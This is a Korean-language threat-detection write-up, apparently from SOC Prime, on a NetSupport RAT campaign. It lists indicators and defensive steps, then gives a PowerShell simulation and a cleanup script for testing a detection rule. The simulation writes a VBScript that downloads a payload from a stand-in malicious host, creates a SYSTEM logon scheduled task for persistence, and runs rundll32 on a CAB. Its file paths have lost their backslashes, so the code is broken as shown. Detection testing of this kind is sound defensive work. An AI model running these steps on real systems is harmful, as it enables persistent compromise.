SOC Prime Bias: 중간

03 Jun 2026 16:32 UTC

알 수 없는 로더에 의해 배포된 NetSupport RAT

Author Photo
SOC Prime Team linkedin icon 팔로우
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이전에 식별되지 않았던 원격 액세스 도구가 악성 NetSupport Manager RAT 패키지를 전달하는 때 관찰되었습니다. 초기 악성코드는 명령 및 제어 서버와 89.110.110.119 TCP 포트 443 에서 인코딩된 트래픽을 사용하여 통신했습니다. SmartApeSG ClickFix로 추적된 이 캠페인은 악성 스크립트와 CAB 아카이브에 의존하여 피해자의 시스템에 NetSupport RAT를 설치했습니다.

조사

조사 결과 악성 URL, IP 주소 및 ProgramData 디렉토리에 기록된 파일을 포함한 여러 지표가 발견되었습니다. 초기 RAT는 NetSupport RAT를 setup.cab 아카이브에서 추출 및 설치하는 배치 스크립트를 전달했습니다. 설치가 완료된 후 지원 파일은 활동의 가시적 흔적을 줄이기 위해 제거되었습니다.

완화

조직은 식별된 악성 IP 주소와 도메인으로의 네트워크 트래픽을 차단하고 ProgramData에서의 참조 파일 생성 여부를 모니터링해야 합니다. 끝점 방어는 의심스러운 VBScript 및 배치 파일 실행을 감지하고, 네트워크 모니터링은 포트에서 인코딩된 트래픽에 대한 더 엄격한 통제를 적용해야 합니다. 443.

대응

방어자는 나열된 지표에 대한 경고를 발생시키고, 영향을 받은 시스템을 격리하며, 포렌식 분석을 수행하여 지속성 메커니즘을 밝혀내야 합니다. 악성 파일은 제거하고, 승인되지 않은 변경 사항은 되돌려야 하며, 방화벽 정책은 식별된 명령 및 제어 인프라와의 아웃바운드 통신을 차단하도록 업데이트되어야 합니다.

공격 흐름

시뮬레이션 실행

사전 준비: 텔레메트리 & 기본 검사 사전 비행 점검이 통과해야만 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야 하며, 탐지 논리에 의해 필요한 정확한 텔레메트리를 생성하는 것을 목표로 합니다.

  • 공격 내러티브 및 명령:
    초기 발판을 가진 공격자는 Windows 호스트에 C:ProgramData:

    1. 으로 세 가지 악성 아티팩트를 떨어뜨립니다. – 메인 RAT 바이너리를 다운로드하는 Visual Basic 스크립트입니다.
    2. token.bat – 지속성을 위한 예약 작업을 생성하는 배치 파일입니다.
    3. setup.cab –에 DLL이 떨어지는 CAB 아카이브를 포함합니다. C:ProgramData 을 통해 나중에 로드됩니다 rundll32.exe.

    공격자는 그런 다음 각 파일을 순차적으로 실행하여 Sigma 규칙에 의해 필요한 정확한 파일 경로를 포함하는 프로세스 생성 이벤트를 발생시킵니다.

  • 회귀 테스트 스크립트:

    # netSupport_RAT_simulation.ps1
    # -------------------------------------------------
    # 목적: NetSupport RAT 감염 텔레메트리 재현
    # -------------------------------------------------
    
    $targetDir = "C:ProgramData"
    # 해당 디렉토리가 존재하는지 확인
    if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force }
    
    # 1. processor.vbs 떨어뜨리기
    $vbsPath = Join-Path $targetDir "processor.vbs"
    Set-Content -Path $vbsPath -Value @"
    Set objXML = CreateObject("MSXML2.XMLHTTP")
    objXML.open "GET","http://malicious.example.com/payload.exe",False
    objXML.send
    "@" 
    
    # 2. token.bat 떨어뜨리기
    $batPath = Join-Path $targetDir "token.bat"
    Set-Content -Path $batPath -Value @"
    schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System
    "@
    
    # 3. setup.cab 떨어뜨리기 (더미 CAB - 텍스트 파일 포함)
    $cabPath = Join-Path $targetDir "setup.cab"
    $tempDir = "$env:TEMPcab_temp"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    Set-Content -Path "$tempDirdummy.txt" -Value "placeholder"
    # CAB 생성 – makecab (Windows 기본 도구 필요)
    & makecab.exe "$tempDirdummy.txt" $cabPath
    
    # 실행 단계 – 탐지 유발
    Write-Host "`n[+] processor.vbs 실행 중"
    cscript.exe //B //Nologo $vbsPath
    
    Write-Host "[+] token.bat 실행 중"
    cmd.exe /c $batPath
    
    Write-Host "[+] setup.cab을 rundll32로 실행 중 (시뮬레이션 로드)"
    rundll32.exe "$cabPath",DummyEntryPoint
    
    # CAB 생성에 사용된 임시 폴더 정리
    Remove-Item -Recurse -Force $tempDir
  • 정리 명령:

    # netSupport_RAT_cleanup.ps1
    $targetDir = "C:ProgramData"
    $files = @("processor.vbs","token.bat","setup.cab")
    foreach ($f in $files) {
        $fullPath = Join-Path $targetDir $f
        if (Test-Path $fullPath) { Remove-Item -Force $fullPath }
    }
    # token.bat로 생성된 예약 작업 제거
    schtasks /delete /tn "NetSupportPersist" /f
    Write-Host "정리 완료."